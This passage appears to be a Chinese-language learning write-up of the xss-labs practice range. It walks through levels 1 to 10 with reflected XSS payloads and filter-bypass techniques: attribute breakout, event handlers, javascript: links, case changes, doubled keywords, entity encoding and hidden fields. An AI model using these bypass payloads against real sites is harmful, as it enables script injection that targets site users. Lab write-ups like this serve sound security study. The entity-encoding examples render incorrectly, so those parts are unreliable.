前言
项目地址:do0dl3/xss-labs: xss 跨站漏洞平台 (github.com)
参考了一下师傅的wp
xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客
xss-labs 靶场详细攻略(附常用payload) - FreeBuf网络安全行业门户
学习记录xss的利用
level-1(无过滤)
http://localhost/xss-labs/level1.php?name=<script>alert(1)</script>
最基本的xss
level-2(htmlspecialchars)
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
这是关键代码
**PHP htmlspecialchars() 函数:**把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ',如果设置了
ENT_QUOTES
标志,则会被转换为'
- < (小于)成为 <
- > (大于)成为 >
虽然过滤了"(双引号)和<,但’(单引号)在此处还是单引号
先测试一波先前的payload
可以发现,上面的被转义了,然而下面的没转义
那我们就可以从下面的着手
"><script>alert('xss')</script>
然后就过关了
level-3(htmlspecialchars)
按照先前的payload测一下
发现上面和下面的都被转义了
但是根据htmlspecialchars
这个函数,单引号在默认情况下是不专一的,那么我们就可以尝试没有尖括号的payload
'onclick=alert(1)
这样点击搜索框就会触发
或者
'onmouseover='alert(1)
移动到搜索框就会触发
level-4(去掉尖括号)
输入测试payload
'';!--"<XSS>=&{()}
发现<
括号被过滤了
但是下面只过滤了尖括号,我们可以直接采用level3的payload,改变闭合方式即可
"onmouseover="alert(1)
level-5(绕过检测<script和on事件)
输入测试paylaod
'';!--"<XSS>=&{()}
"onmouseover="alert(1)
发现过滤了
on
为o_n
<script
过滤为<scr_ipt
发现javascript
不会被过滤
应该是过滤on和script开头的东西
我们可以考虑构造伪协议
"></br><img src="javascript:alert('1');
发现没卵用
构造一个超链接
"></br><a/href=javascript:alert('1');>
点击超链接就弹出来了
Level6(大小写绕过)
这一关把src
与href
也给禁了
但是看源代码发现过滤是preg_match
这样我们可以考虑使用大小写绕过这个检测试试
"><sCrIpT>alert("XSS")</sCrIpT>
Level7(script标签移除,双写绕过)
用经典payload
<script>alert("xss")</script>
发现把script
给移除了
考虑能不能双写
"><scrscriptipt>alert("xss")</scrscriptipt>
成功
Level8(关键字ASCII编码)
进行ASCII编码转换:
" "
- t t
- :
用这种技巧绕过
发现值传递到了a href
标签里,试试javascript伪协议
由于引号发生了转义
使用ASCII
编码尝试绕过
javascript:alert('1')
Level9(带上必要字段)
发现没http
字段不行
那就javascript:alert('http://xxx')
Level10(利用hidden参数传递)
网页源码和之前的相比,多了下面这三行:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
但事实上我们可以利用这三个按钮进行传递
直接修改前端hidden为submit,然后构造xss
t_link=1&t_history=2&t_sort=3"onmouseover='alert(1)' type="text"
成功